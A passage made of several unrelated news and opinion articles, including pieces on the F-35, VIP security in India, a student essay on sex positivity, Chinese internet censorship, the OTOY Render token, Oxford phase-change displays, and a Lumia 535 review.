F-18 and A-10, and in each case it comes up short. Story continues below advertisement The group urges the Obama administration to do a "serious" reassessment of the program and determine whether there are alternatives out there. Researchers noted that matching the F-16's manoeuvrability was a minimum design requirement, yet they conclude the older jet is capable of going faster and enjoys better wing-loading performance, another aspect that's critical for speed. The F-16 is not considered as manoeuvrable as the F-18. The Harper government put its purchase of 65 F-35s on hold after being accused by the auditor general of fudging the price tag and not doing sufficient research, and plans to extend the life of the CF-18s to 2025. -One of the big paradoxes of living in a democracy is that our leaders seem to need protection from the very people who elected them to office. Even as women, the poor and the disadvantaged run from pillar to post for basic things like physical safety – whether it is rape and molestation or violence - our politicians have scores of gun-toting commandoes being wasted on them. Even in the security-conscious West, we do not see so many politicians receiving so much protection. From X to Y to Z and Z-plus, many of our top-level politicians, both in or out of power, have unnecessary protection being given to them at the cost of the taxpayer. (To get a list of those receiving protection, read here) For example, people with Z-plus security have as many as 36 police persons assigned to them followed by 22 for those in the Z category, 11 for those in Y and two for those with a mere X to their names. This is not only an enormous waste of taxpayer resources, but is actually becoming counterproductive with our netas seeing security as some kind of status symbol. The more we give politicians free security, the more they will start believing they are masters and the rest of us their servants. This is particularly vulgar when the ordinary people get very little protection from crime or criminals. As citizens, it is now time to demand a curtailment of our netas’ security expenses by making one simple demand: that official protection should be available only to political chief executives at centre or states. This means the Prime Minister and the Chief Ministers of various states. The rest should receive only normal institutional protection – just as any citizen is provided police cover if there is an immediate threat to him. Applying this principle would mean no state protection for politicians such as Sonia Gandhi and her children, no cover for LK Advani, Mulayam Singh, Mayawati, etc, etc. Security experts may be aghast that our leaders will become more vulnerable due to this demand, but lack of state spending on their protection does not mean no protection at all. What it means is that the individual will have to pay for it himself. Or herself. This is how it should work. Top politicians in the major national and regional parties should create their own security apparatus for their leaders. Donations to political parties are anyway exempt from income-tax, and so paying for private security guards should be well within their means. Rich politicians should automatically be given no protection at state expense at all. For example, what is the logic in providing Mulayam Singh, or Mayawati, who is a Rajya Sabha MP, or LK Advani or Kalyan Singh or Rajnath Singh security at our expense when they can afford it themselves? Or their party can provide for it? Mayawati’s last-known net worth was a hefty Rs 112 crore. The BSP leader, who claims most of her wealth came from small contributions, should use these contributions to provide for her own security. Mulayam Singh’s assets also exceed Rs 100 crore. Ditto for Advani, or Kalyan Singh, both of whom are close to retirement. They should be protected by their parties, which benefited from their activities in the 1990s, and not the exchequer. There are good reasons why security expenses should be brought down for politicians. First, it is not morally right for politicians to seek protection at the expense of the people. Especially when they are out of power. They should share the risks their people face. Second, it's the sheer futility of it. Having a bunch of security guards around you is no security at all when it comes to committed terrorists. Did high security save Indira Gandhi or Rajiv Gandhi? Minimal, discreet security is often good enough. Third, there is no reason why out-of-work politicians should not live like the rest of us and be responsible for their own security. They should take simple precautions, and pay for that little extra that private security can provide with personal or party funds. If the police are freed from the responsibility of guarding netas, they can act more professional and protect the people better. Trying to protect too many netas means denying the same to us. Fourth, providing too much security is counter-productive in a democracy. Not only does it separate politicians from their people, it also builds in them a vested interest to create no alternative leaders. The real strength of a democracy is in the depth of leadership it can create, so that it is not worthwhile even for terrorists to bump off the odd top politician or two. It is time we abolished running a taxpayer-funded protection racket for politicians. Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button. -Editor’s note: This article was initially published in The Daily Gazette, Swarthmore’s online, daily newspaper founded in Fall 1996. As of Fall 2018, the DG has merged with The Phoenix. See the about page to read more about the DG. An open letter to the campus community: Swarthmore, I’m a big slutty slut. I have a lot of sex with a lot of different men because, frankly, I love men and a few ladies, because, frankly, college. And here’s why: I love sex. I love everything about sex and every personally-defined variation of sex: I love to kiss and to come and to cuddle and to explore new sexual frontiers. I love sweet sex and rough sex and nights with no sex. I love all the accoutrements of sex: I love underwear and birth control and sex toys and porn. If I were to honestly list my skill sets in rank order by an algorithm accounting for both enjoyment and aptitude, sex in all its iterated glory would top that list by leaps and bounds (and you should know I bake a mean pie, write an even meaner thesis, and gain a great deal of satisfaction from both of them). Let me clarify: I’m not a slut because I’m out of control of my own sexuality. I’m not a slut because I’m hoping to rope a guy into wanting to be with me. I’m not a slut because I’m looking for some kind of validation or self-esteem boost. I’m a slut because I make the active, intentional, self-aware and enjoyable choice to be. I’m a slut because I choose to call myself “slut.” My choice of the word slut is ultimately motivated by society’s warped and uneven attitudes regarding some notion of essential, inherent female sexuality vis a vis that of men. Ours is a society where women ”put out” their goods to please men, where it is nearly impossible to imagine a girl who goes out and beds a new guy every weekend who isn’t in some way damaged, or immature, or looking for some form of validation. This is a society where, rigidly, men just want to get some and get out and women are responsible for keeping men’s natural desires at civilized bay. Make no mistake: this society of Brobible.com, of Tucker Max, of pick-up games, of most RomComs, of things as seemingly mundane as the scorn inherent in the term “walk of shame,” is a society which seeks to control women’s bodies, sexuality and choices to conform to a specific notion of a way to be a “good” girl, a “good” woman. This is a society of rape culture, plain and simple, and these types of policing of specifically gendered bodies and choices are prototypical slut-shaming. This unfortunate aspect of capital-S “Society” is by no means a not-in-my-collegiate-bubble kind of issue either. Slut shaming is alive and well on Swarthmore’s campus. We hear it in the scornful tones with which we remember certain alumnae, see it in the raised eyebrows of friends of friends as they recount an acquaintance’s Saturday night hookup, read it in the comment sections of our sex columnists and gossip blogs. It’s tempting to think that as a community of progressive, forward-thinking, and generally socially aware individuals, we wouldn’t be bolstering these kinds of harmful understandings of sexual constructs, that these views exist only on the fringes. But the lived reality of sluthood at Swarthmore is a surprisingly difficult one, even when not interacting with the obviously slut-shaming margins. We are greeted with a community aura of sex-negativity or at best sexual cluelessness. Institutionally speaking, the administration has a record of responding to issues involving sexuality with either a sort of manic, nip-it-in-the bud attitude, or an ill-advised stance of ignore-the-problem-and-it’ll-go-away. They have a well-known past of extraordinary blundering bordering on victim-blaming regarding instances of sexual assault (albeit one that is happily and actively changing in recent months). They responded to past instances of sexual assault at Genderfuck by proposing to cancel the party, as though preventing drinking and dressing skimpily would prevent the underlying factors of sexual assault (read: assaulters). The Dash for Cash, the singular intentionally body-positive and administratively-endorsed campus tradition – which was well publicized and opt-in – was canceled at earliest possible opportunity. And in an egregious, though since-resolved, issue a few years ago, a campus wellness campaign could find the funds to provide free yoga mats for students, but not free condoms. Overall, Swarthmore does a very good job of making the sex-positive, sexually adventurous, and promiscuous among us feel like we’d have a pretty precarious safety net availible if something happened to make us feel uncomfortable. In this context, it is an intensely loaded and personally meaningful move to re-appropriate the traditionally venomous epithet of “slut” to fill the void in sex positive vocabulary to describe myself, my actions, my choices as a sexually active, aggressive, and generous woman. Is the choice of this moniker a comfortable one for all us sex-positive sex fiends? Absolutely not. But the entire point of making this term available to be self-selected is to reinforce, reiterate, and celebrate the agency with which a person might approach their sexual experiences, partners, and identity. For me, being slutty is about more than just getting it in on Saturday night. It’s about rejecting the social imperative to ignore my own desires and keep my legs shut in order to be desirable, to be acceptable, to be the “right kind” of girl/woman/person. It’s about identifying and going after what I want. It’s about claiming and owning and enjoying my own body and sexuality and about the euphoria of exploring the miraculous, bizarre, and thrilling intricacies of another person’s. It’s about holding yourself accountable for your own sexual choices and health and holding society accountable for its own sexual bullshit. Sluttiness is not about the number of dates or make outs or hookups it takes for you to feel comfortable rounding all or one or any bases with another person. In fact it’s not about numbers at all. The emphasis we place on our own sexual numbers is just another example of rigid, moral socio-sexual policing. How many women’s magazine articles have you read which essentially roil in what they’d have you believe is the eternal question: to disclose numbers or not to disclose numbers? You know what? Fuck that. Share or don’t, that’s your call, but don’t imbue this number with some sort of synthetic and sacrosanct meaning. Sexual numbers are meaningless. They tell you nothing about a person. They don’t tell you whether or not to get tested, as you as a sexually active or potentially sexually active adult should be getting tested with regularity anyway. They tell you nothing about the content of a person’s character or their childhood or their relationship with their father or their mother or their feelings about their own body. So yeah, let’s talk numbers in the seven years since I’ve become sexually active. 98: the number of people I’ve made out with. 24: the number of people I’ve gone down on. 14: The number of people I’ve had penetrative sex with. 8: The number of people with whom I’ve gone out on dates. You know what that tells you about me other than I might have busyish Saturday nights? Absolutely nothing. Some numbers that might be more meaningful in telling you who I am as a person: 325: the number of hours I spent teaching peer-run classes on sexual health, body image, and healthy relationships in urban schools my senior year of high school. 1: the number of times I’ve had my heart broken. 4: the number of scars I still have from the abrupt end to a fun day spent bike riding with my dad when I was seven. 0: The number of people I’ve slept with without being immediately upfront about the date of my most recent STI test, whether or not I’m sleeping with other people, whether I am available for anything above and beyond casual fun and without first ascertaining all of this information from them. So here’s the deal, Swarthmore. We’ve tried to have this conversation before. Last semester, columnist Hester Prynne opened her installments with a discussion of reclamation and hers was an excellent primer extolling the virtues of sluthood. This past week a Swassip post turned into a comment-war fueled indictment of the morality of those externally impugned as sluts. In both instances, there has been frustratingly little safe room in the ensuing conversation for those living a life navigating the murky waters of Swarthmore with multiple partners. It’s time for real talk: an introduction to a conversation on the lived realities of identifying and acting sluttily on a campus slightly deluded as to its own sex-positivity. So here it is, an above-ground forum for a conversation not only about sluthood or about sluts, but with and from those of us who have made this choice for ourselves. I am slutty; hear me roar. See you next week, Sex Fiends, Slutfriends, fellow sluts, and – largely – Swatties, the Tart -Olivia Wilde 29 Actress-social entrepreneur facebook Share on Facebook twitter Share on Twitter Share on LinkedIn linkedin linkedin permalink Share Link Fundraising is the bane of every philanthropy's existence. Do-gooders go back to the same rich donors over and over trying to convince them to keep giving. Actress Olivia Wilde thinks there's a better way. That's why she's co-founded Conscious Commerce. The company pairs brands with causes to help corporations become better global citizens. So profits from a best-selling dress at Anthropolgie go to a girls' school in India. A limited edition bag at Alternative Apparel helps fund a school in Haiti. "I've always been a huge proponent of voting with your dollars," says Wilde. "I'm inspired by the movement of entrepreneurs from my generation who are encouraging people to think about where their dollars are going." This year Conscious Commerce raised $100,000 for New Light, a community-development project serving the women and children of a red-light district in Kolkata, India. Conscious Commerce now shares time with Wilde's acting, but she's getting raves for her recent performance in the movie "Drinking Buddies." -As some of you are aware just yesterday we announced Team ZZX's in development Zelda clone game that was coming to the ZX Spectrum at some point during 2018, well that game isn't the only one that's in development as we've just been told by the creator David Clarke, that he is also making a Legend of Zelda game, and that one is being developed using Arcade Game Designer. In light of this news there's even more footage to show, and even though it doesn't have sound, it looks pretty decent!According to David he is coding this for the ZX Spectrum as a learning exercise with more possibilities for the future, and although there is no sound, it will be added later. Furthermore he has also mentioned he is having a go at multiple enemies using the parama variable for the first time, although he has warned this may well be another unfinished project!: 1) Source -KPS Teacher "walk-in" Kalamazoo Public Schools teachers stood outside school buildings and in their entrances on Wednesday, Feb. 17, to support changes that make standardized testing less cumbersome and more effective. - Courtesy Photos KALAMAZOO, MI -- Teachers at many of the Kalamazoo Public Schools will participate in a demonstration before class on Thursday. Members of the Kalamazoo Education Association will participate in a "walk in" at 7 a.m. on Thursday, Oct. 6. Teachers, administrators and staff will gather outside school buildings 30 minutes before the academic day begins, demonstrating with signs to promote the need for more funding and less focus on standardized tests. Amanda Miller, president of the KEA, said the union's 800 members will all participate in some way in the awareness-raising campaign, coordinated by the group Alliance to Reclaim Our Schools and part of a national effort. Miller said tests like M-STEP, which are administered in the spring and have results returned in the fall, don't give teachers any way to help students during the school year. "Teachers love tests if we can get immediate feedback and use it for instruction," Miller said. "If we don't get the results (until the next school year) and we're spending all this time on it, it's (not worth it). Kids need to be doing things that are beneficial instead." Once the scores do come back, Miller said are being used to punish schools. "Tests don't take into account of all the other aspects of (a student's) life like poverty," she said. The online exams are also a drain on resources, requiring technology purchases and staff to deal with technical issues on test day. The organization supports giving students access to an engaging and rigorous curriculum that does not base their success on high-stakes testing. Last year about 80 cities participated in the effort. This year, Miller said 200 cities are expected to join the walk-ins, which were moved to October to bring education issues to the forefront during the election cycle. Parents, students and members of the community are also invited to attend and wear red to show solidarity with the cause. Miller said the walk in concept is a more positive way to demonstrate as opposed to a strike or walk out. "We appreciate the leadership of our association regarding the important themes of school funding and time for learning and appreciate the opportunity to join others across the country in this consciousness-raising activity," said KPS Superintendent Michael Rice in a statement. A similar demonstration was coordinated in February. Many teachers carried signs that read: "All our children deserve more time for learning, less time for testing." For more information, visit reclaimourschools.org. -The AAP’s latest attack on Reliance Industries does more than simply divert attention from their failure to govern; unfortunately for them, it also underscores the two main elements of their core ideology. On display is not only their dogged commitment to destructive populism over basic economic rationality, but also, and far more dangerous, their scornful contempt for constitutional democracy. By pressuring the Anti-Corruption Bureau (ACB) to lodge an FIR against Mukesh Ambani and others in the absence of either jurisdictional authority or an iota of evidence, Kejriwal has sent shockwaves across the international business community, which would rather steer clear of India’s shores than risk engagement with a berserk anarchist. A bare perusal of the hyped complaint against RIL reveals fanciful conjectures and childish conclusions that are grounded in neither law nor reason, but advance a bizarre counter-narrative that believes in profit being evil. Scratch beneath the surface, however, and the real picture emerges. The crux of Kejriwal’s charge against RIL is based on the infantile assumption that capital expenditure costs were unreasonably inflated to generate higher profits for the operator and less for the government. To substantiate this charge, he cites the Comptroller Auditor General’s flawed performance audit report on KG-D6 to allege that procurement contracts were arbitrarily awarded without due competition. He forgets that the mind-boggling scale of the Krishna Godavari basin (over 7, 000 sq km) necessitates an equally gigantic survey and exploration effort which is both expensive and technically complex, meaning in turn that very few international players operate in this niche segment. Unlike a standard building contract where it is possible to have a blend of different contractors, deep-sea extraction is one of the most complex engineering feats known to man and it would be impossible to execute a project on this scale with a mish-mash of contractors. For the CAG, without any technical expertise or knowhow about the complexities of subsea exploration, to simply declare that one contractor ought not to have been picked over others, is not only irresponsible but laughable. Besides, even the global consulting firm, Ernst & Young, confirmed that any increase in capital expenditure would in fact hurt the contractor’s profitability. However the CAG’s insistence to audit private contractors raises fundamental questions of propriety that must not be ignored. The mandate of the CAG is circumscribed by the Duties & Powers Act of 1971, which outlines the scope of their powers to audit the accounts of public corporations. This law supplements Article 149 of the Constitution, and the two being in pari materia, must be read together. The CAG’s scope of audit is restricted to accounts of the Union and cannot extend to private entities. The hon’ble Delhi High Court, in its order on the 6th of January 2014, was absolutely correct when it reined in an overzealous CAG by ordering it to restrict itself to only the revenue-sharing arrangements that private telecom companies had entered into with the GOI. The court was very specific when it said that the CAG could only audit receipts and not inquire aspects like wisdom and economy in expenditure. An example of this overbearing sense of ‘duty’ is found on page 33 of the KG-D6 report, where the CAG adopts an irritatingly patronising tone in awarding unnecessary accolades to “the efforts of the operator in executing this world class…within record time.” Constitutionally speaking, the CAG has no business to be making such silly comments – they ought to stick to their mandate. The CAG report also ignores the legislative intent behind the New Exploration Licensing Policy (NELP), which was to provide an incentive to private contractors, to tap domestic energy sources that PSUs like ONGC and OIL could not. The driving force behind this policy shift was not merely liberalisation of the economy, but a concerted effort to make India energy independent, and to reduce the nation’s staggering fuel-import bill. In making the simplistic argument that RIL’s higher gas prices lead to a subsidy burden on the economy, Kejriwal has wilfully ignored both, the saved fuel import-costs and the substantial GDP contribution made by domestic contractors. GOI currently pays up to $15 per million British thermal units (mmBtu). By Kejriwal’s logic, India ought to pay billions of our precious and scarce foreign exchange to international gas providers but deny an Indian corporation from making a legitimate profit for the massive investment it has incurred, simply because the government subsidises the fuel. Even keeping aside the billions of dollars India saves by encouraging a domestic entity, why doesn’t Kejriwal talk about the billions that the Indian government receives as its share of profit from KG-D6? Would he rather than India be at the mercy of foreign gas-producers than achieve energy security? Even keeping energy independence aside, the creation of jobs and enhanced shareholder value aid in spurring growth and confidence in the economy that benefits everyone. It may certainly be argued that RIL and its partner NIKO got the initial gas estimates for KG-D6 wrong, but to suggest that billions were spent by them to execute some elaborate heist is ludicrous. Subsea gas reserve estimates spread over thousands of square kilometres are often off the mark. At times production is way more than the original estimate and at other times it is less. However the production sharing contract contemplates such eventualities, which is why the safeguard of variable profits depending upon production is built into the agreement. To cry foul simply because production levels did not match the original estimates is akin to the losing side in a game of cricket asking for the rules to be changed midway. Kejriwal is understandably irate because he can’t write his own personal version of the PSC. Lastly, the stunning allegation that RIL’s KG-D6 partner NIKO supplies gas at half the price to Bangladesh is another spin on the truth. The fact is that NIKO’s gas deal with Bangladesh has absolutely nothing to do with KG-D6. On the contrary, NIKO provides gas from an on-land gas field near Dhaka. The implication of this on cost is obviously immense – with dramatically cheaper production and transportation bills, thus resulting in a lower price. With none of his political opponents too keen to entertain his shenanigans, Kejriwal was ultimately left with the ignominious route of pulling the plug on himself. Only time will tell if his gamble pays off electorally. But for anyone to assume that the people of India will ignore his dismal record, would be akin to gassing the truth. -China makes headlines every other week for its censorship of the Internet, but few people outside the country know what it's like to live with those access controls, or how to get around them. Foreigners who visit the country should expect some headaches. Be prepared to live without Google, Twitter and your favorite daily newspapers, and to have a hard time connecting with friends back home, or even firing off an email. That's how bad it can get. + Also on Network World: Best/Worst iPhone 6 Design Concepts (i.e., iPhoneys) + "Connection Timed Out" is the dreaded error message when you try to visit a blocked site. It makes you think the site itself is down, but it's actually the "Great Firewall" at work, a vast censorship system that blocks access to many of the world's most popular services. I've lived in China for close to six years and censorship has been a near constant, lurking in the background ready to "harmonize" the Web and throw a wrench in my online viewing. It's been especially evident this month. Google's services, which don't follow the strict censorship rules, are currently blocked. How long that will last is unknown, but it coincides with the 25th anniversary of the Tiananmen Square protests earlier this month -- an event the Chinese government wants no one to remember. Losing access to the world's biggest search engine is enough of a nuisance, but the censorship also affects Gmail, Google Talk, Google Calendar, Google Play, the Chrome browser, and even the news and weather widget that loads on my Android phone. Some of those services are running erratically or not at all. Most annoying is that friends can send me messages on Google Hangouts but for some reason I can't reply. The censorship is a culture shock for foreigners visiting China for the first time. They expect to chat with friends on Facebook or Twitter only to find those services unavailable. Major publications like The New York Times, The Wall Street Journal and Bloomberg are blocked. You need to find alternatives for all these things. I often end up using Microsoft Bing, which complies with China's censorship rules. Plenty of other foreign websites are accessible, including Reddit, Buzzfeed, Yahoo, and politically non-sensitive Wikipedia pages. Most foreigners here end up subscribing to Virtual Private Networks (VPNs), which let you mask your location and bypass the censorship. I've been using a VPN for four years and the US$7 a month is money well spent for access to the entire Internet. China's censorship wasn't always this strict. When I arrived to teach English here in late 2008, Facebook, Twitter and YouTube all were available and I could use Google's Blogger.com to record day-to-day experiences. All that ended in 2009 when China began blocking sites more actively. In March that year, supporters of the Dalai Lama -- an unwelcome figure here -- released a YouTube video that appears to show Chinese police beating Tibetans. A few months later, ethnic riots broke out in Western China, and the authorities cut access to Twitter and Facebook. Blogger.com had already fallen victim in May, and to keep my blog alive I emailed posts to my dad in the U.S. so he could update it for me. Eventually I bought a domain name and blogged through GoDaddy, which wasn't blocked. All this censorship happens without official explanation. The Chinese government rarely mentions the topic or says why particular sites are blocked, but it's clear the authorities do everything they can to control what China's 618 million online users can access. All local Chinese sites abide by the censorship rules or risk being shut down. That means China's largest search engine, Baidu, filters out sensitive content, like any mention of the Tiananmen Square protests. And social networks like Sina Weibo delete posts about contentious topics, or ban users who have gone too far. In rare cases, Chinese police have even sought out and arrested Internet users for starting online rumors. But China's Internet is far from bland. While you can't access YouTube, Twitter or Google, there are Chinese equivalents, albeit with regulated content. Video sites show U.S. TV shows like "The Walking Dead" and "Homeland," and online users can discuss some controversial matters, like celebrity scandals and even corruption by low-level officials. But it all happens under the watchful eye of censors, who keep the discussions from crossing a line. It's partly why many Chinese don't notice the censorship; there's enough leeway that the Internet is still a useful medium. Most don't miss Facebook or Twitter because they can connect via WeChat, a local messaging app used by hundreds of millions. China effectively has its own Internet, with its own providers and its own rules. So far, none of the big U.S. Internet firms has managed to make significant headway here, and the ones who try must play by the rules. LinkedIn, for instance, which entered the market this year, is drawing flak for blocking posts about political matters in China. There's little sign that the country's stance on censorship will change anytime soon. The clampdowns on foreign services tend to come and go, but this latest block on Google could remain indefinitely. Last November, citing threats to stability, the government laid out plans to control access even more. I recommend anyone visiting China buys a subscription to a VPN service. I've used one provided by Astrill.com and it's a must-have for me. Hopefully China won't block it. -Ten years ago, Jules Urbach had an insight. Back then, film companies would spend hundreds of millions of dollars on rendering, which turns 2-D or 3-D models into photorealistic scenes and is used in CGI (computer-generated imagery) animation, for just a few thousand frames. At 24 frames a second, that adds up just to a few minutes of an entire movie. He realized that the way they were doing it — using a type of processor called a CPU that is commonly used in computers — it was never going to get faster or cheaper. Instead, he realized it could be done 40 times faster on a type of processor known as a GPU, which is a graphics cards designed for gaming devices such as Playstations and Xboxes. That is now the most common method of rendering video games. And to accommodate demand, his company, OTOY, founded in 2009, and its main software, OctaneRender, have been using GPUs in the cloud with services such as Amazon, Google and Microsoft Azure. Even back then, he could see that the appetite for such work might grow to the point it would be difficult for his company to keep up. So he dreamed up — and patented — the idea of a peer-to-peer network where anyone with some GPUs could contribute work to render scenes and pay out each of these contributors. Back then, the Bitcoin network had just started running and no more than a few academics and tech hobbyists knew about it. But now, as the cryptocurrency market has exploded and options like Ethereum are available to build new blockchain-based networks, Urbach’s vision is now possible — and OTOY is launching a token for it: Render. “The demand for this work is so high that we have no other choice but to have another solution,” he says. “A lot of people are familiar with rendering in terms of computer graphics in films but it’s seeping into all parts of our lives. People don’t realize it’s in advertising, in billboards, in your Zillow real estate Matterport capture.” [Ed note: Investing in cryptocoins or tokens is highly speculative and the market is largely unregulated. Anyone considering it should be prepared to lose their entire investment.] OTOY is just one of a number of existing non-blockchain-focused companies that are issuing tokens to launch decentralized networks in their industry. The first to announce such an initiative was Kik messenger app, which recently raised $98 million but fell short of its goal of $125 million. Despite having 15 million monthly active users a month, only 10,000 people purchased tokens for its proposed token-based network for digital communication. While OTOY has an impressive roster of advisors, including Eric Schmidt, the chairman and former CEO of Google, and Brendan Eich, the cofounder and former CEO of Mozilla and CEO of Brave software, which launched the Basic Attention Token, plus big-name clients such as Facebook and Unity, it remains to be proven that an established company can successfully create a token-based network that also attracts its competitors and users outside its base and is therefore truly decentralized. OTOY’s Render token could be well-positioned to do so. This year, it secured a deal to provide the entire rendering pipeline for Facebook — the social network’s virtual reality camera data uses OTOY. “OTOY has long been on the cutting edge of rendering technology. Their products were a natural fit for our efforts in pushing media to a new level of immersion,” said Eric Cheng, Facebook’s head of immersive media, by email. OTOY has also partnered with Unity, software akin to a Photoshop, but for mobile games such as Pokemon Go. Unity claims its software is used to make a third of top games. And the VR/augmented reality industry could be on the cusp of taking off. A July 2016 Goldman Sachs report projected that VR/AR will see $95 billion in revenue by 2025 — comparable to the $111 billion hardware market for laptops and $63 billion for desktops. Goldman and Deutsche Bank anticipate VR/AR will become a bigger part of a variety of sectors including gaming, live events, virtual shopping experiences or “v-commerce,” healthcare and fitness, communication such as Skype or FaceTime, trainings and education, tourism, and social experience apps such as watching movies with others through VR. OTOY estimates that what is called the OctaneRender Cloud Network could bring on seven million users (mostly game developers on Unity). Advisor Eich also sees potential for Ethereum miners to switch to Render. “As Ethereum evolves toward proof of stake or other future technologies that don’t require GPU power, that become more power efficient, the GPUs that were for mining Ethereum could be used on Render,” he says. Urbach even imagines iPhones and iPads doing rendering as they recharge overnight, though he calls that an “ambitious” goal. However, according to a Markets and Markets report, rendering is now only a $1 billion industry and is expected to grow only to $2.9 billion by 2022, so that may limit the potential market cap for the Render token, especially since the network wouldn’t constitute the entire industry. OTOY, using other projections, projects that revenue in 2021 would be $10-$20 billion even if RNDR took just 2% of the industry. While some crypto players like Eich are excited about the Render token, others are more skeptical. Brian Kelly of digital asset hedge fund Brian Kelly Capital Management says, “There’s nothing terribly unique about it. It’s a model that could be replicated fairly easily. There’s not a big moat around it from what I can tell.” However, Urbach countered in an email, “The centralized iteration of our rendering model hasn’t been replicated anywhere near our scale, and it’s a good indicator of how hard it is to scale to millions of GPUs in a decentralized way as we plan to do now with RNDR.” Lucas Ryan of cypto hedge fund Metastable Capital wasn’t convinced the token was necessary and felt such rendering work could be paid for in, say, Ether. Also, Golem network, a decentralized computing platform, might work just as well. Urbach says payment in other tokens doesn’t scale and notes that with Render (unlike Golem Network Tokens), a hash of the assets used behind the render source enables the tokens to be easily distributed to the contributors, putting IP rights on the blockchain. Render is aiming to raise $134 million from its token sale, which starts October 5. As with the other existing companies launching tokens, it will be interesting to see how well OTOY can redirect its success so far with its company toward a decentralized network. Be sure to get Forbes' twice-weekly all things blockchain email newsletter, Crypto Confidential! Sign up here. -Image copyright Oxford University Image caption These images produced by the researchers were 0.07mm across - smaller than the width of human hair Scientists have patented a new way to make ultra high-res displays that can bend and are thousandths of a mm thick. They used a miniscule layer of a phase-change material, that flips between two chemical states when hit with current. By sandwiching it between transparent electrodes, they made pixels just 300 nanometres across and produced images smaller than the width of human hair. The design, published in Nature, could be useful in wearable technology, smart contact lenses or foldable screens. According to Prof Harish Bhaskaran, who led the research at Oxford University, it will be "at least five years" before any applications appear. But as far as Prof Bhaskaran is aware, the resolution of the images his team produced is among the highest ever achieved. "I haven't seen any other technology that approaches 100 or 200 nanometre resolution," he told the BBC. You could roll out your screen from inside a pen Prof Harish Bhaskaran, Oxford University Phase-change materials are commonly used in heat management, because they absorb or release heat in switching between an orderly, crystalline state and a more chaotic "amorphous" state. Because their optical properties change with these states as well, they have also proved useful in data storage, such as rewritable DVDs. The key to the new design is a very thin layer of one of these materials: an alloy containing germanium, antimony and tellurium (Ge2Sb2Te5, or "GST" for short). Instead of using GST to encode ones and zeros within the rings of a DVD, Prof Bhaskaran's team sandwiched it in between two layers of a transparent material that conducts electricity, producing a three-layered film no thicker than 0.0002mm. Then they painted a picture into the GST, pixel-by-pixel, by delivering current to different points across the film. Electrical current causes the GST to switch states - and change colour. In this way, the researchers produced a number of microscopic images. Image copyright Oxford University Image caption The team produced films that were flexible and semi-transparent They also demonstrated that the technique could produce different colour changes, by using different thicknesses for the outer layers of the sandwich. None of the pictures move - yet - but the team has filed a patent because of the potential to develop a new generation of flexible, thin, high-resolution displays. "The cool part about this is that the functional part is very thin," explained Prof Baskaran. "Because of that you could actually have displays that are non-intrusive, because you can keep the electronics far away." This contrasts with current LCD displays, which require transistors immediately behind the screen to switch the colour of the pixels. "Think of having a pen - and you can roll out your screen from inside the pen, but the electronics are contained within the pen," Prof Baskaran said. Other mooted applications include smart glasses or contact lenses, and even synthetic retinas, if the technology could be rejigged to convert pixels of light into electrical impulses. The design could also offer big energy savings, because the pixels would simply stay put until they need to be changed. Image copyright Oxford University Image caption A microscopic image of a well-known Oxford landmark, made up of 150x150 300-nanometre pixels "Unlike most conventional LCD screens, there would be no need to constantly refresh all pixels, you would only have to refresh those pixels that actually change," said Dr Peiman Hosseini, the study's first author. "This means that any display based on this technology would have extremely low energy consumption." Dr Stephen Kitson runs the Bristol display technology company Folium Optics, developing other strategies for flexible, high-resolution displays, and is also a visiting professor at the University of Western England. He said the findings were promising. "It's a really challenging area, to get something that's bright," he told BBC News. "There's a way to go, to see if they can get the dynamic range that you'd need - in other words, can you switch from really bright to really dark. "They've got some interesting colour switches there, which is a brilliant first step." Prof Bhaskaran agrees this is only the first stage. "We're showing that we can combine thin-film effects with a super-thin layer of phase change material, and get colour out of it," he said. -Soon Spoon To Help Diners Score Impossible Reservations Thought you couldn't get that last-minute table at Menton? Well, now you can. Devoted foodies and restaurant newbies love The Feed. Sign-up now for our twice weekly newsletter. Have you ever wanted to eat at that cool new restaurant that only seats 30 guests? Reservations are undoubtedly at a premium and you’re often forced to make a reservation two weeks out. And that’s if you’re searching for a two-top. What about those times when friends or family are in town and your party is bigger than four people? Forget it. That conundrum of quality, spontaneous dining is at the heart of Soon Spoon, a new restaurant reservation service that launches on March 19. Cofounders Travis Lowry and Conor Clary are working in conjunction with some of Boston’s hippest, most compact restaurants to provide last-minute dining options at places such as Clio, Uni, Farmstead Table, and Puritan & Co. “I don’t know if you’ve ever tried calling these types of places on a 4:30 on a Friday, but it can be very difficult,” says Lowry. “Some places are good about it. Menton always picks up the phone, but for most small restaurants it’s just very hard because they might only have one or two people answering phones. So what ends up happening is you end up going to the place where … you can walk in—that’s not of the same quality—but hey, you know, [you] can get a table.” Soon Spoon currently has 17 restaurants that they’re working with, but they hope to build that number up to 50 ideal spots by the end of the year. Lowry describes their approach with potential restaurant partners as “price agnostic,” instead focusing on “special, unique kind of places.” “We don’t approach restaurants because they’re the most expensive,” says Lowry. “There’s a lot of restaurants that are very expensive that we’re not a good fit for. We work best in a place like East By Northeast that seats 29 or Bogie’s Place that seats 15 in the back of jm Curley. We want to create this club of diners that love these restaurants and are open to eating at the last minute.” Unlike OpenTable, Groupon, and Beeline—which stop updating reservation availability after service begins—Soon Spoon will provide to-the-minute data via text messages, email, and the website. Soon Spoon’s reward system might not have typical perks such as coupons or appetizer discounts, but they will have a point system to provide personal touches like artisanal chocolates, pastries, and a seat at monthly pop-up dinners in private residences around Boston. Soon Spoon’s point system works the other way as well, detracting points for cancellations and no-shows. An impetus for creating the concept was Lowry’s own last-minute cancellation at Strip T’s in Watertown. “I saw an opportunity to help both restaurants and diners,” says Lowry. “I felt terrible about canceling a reservation for six at Strip T’s. But those things happen all the time at restaurants. It’s not impossible to dine spontaneously. We help facilitate that fun, serendipitous experience.” -In mid-July 2014, Microsoft announced the first truly abysmal Lumia handset, the Lumia 530, setting a new low bar for the quality of entry-level smart phone handsets. So it was with some reservation that I took possession of the Lumia 535, a 5-inch sibling to the 530 that also targets the low-end of the market. I shouldn’t have worried: This is a great entry-level device and the model for Microsoft to follow for future Lumia handsets. Indeed, that has apparently already happened: Just this past week, Microsoft introduced two other low-end handsets aimed at emerging markets, the Lumia 435 and 532, and both will cost under $100 at launch. These devices clearly take more cues from the Lumia 535 than they do from the Lumia 530, and that’s a good thing. But today, let’s focus on the Lumia 535, which is now fairly broadly available, see and how it differs from the 530. Microsoft launched the Lumia 535 in November 2014 and its immediate claim to fame was that it was the first Lumia handset to carry the Microsoft branding. (Previous Lumias all bore the Nokia name.) I don’t find that to be particularly interesting personally, but it was the headline at the time. The Lumia 535 is powered by a 1.2 GHz quad core Qualcomm Snapdragon 200 processor, 1 GB of RAM, and 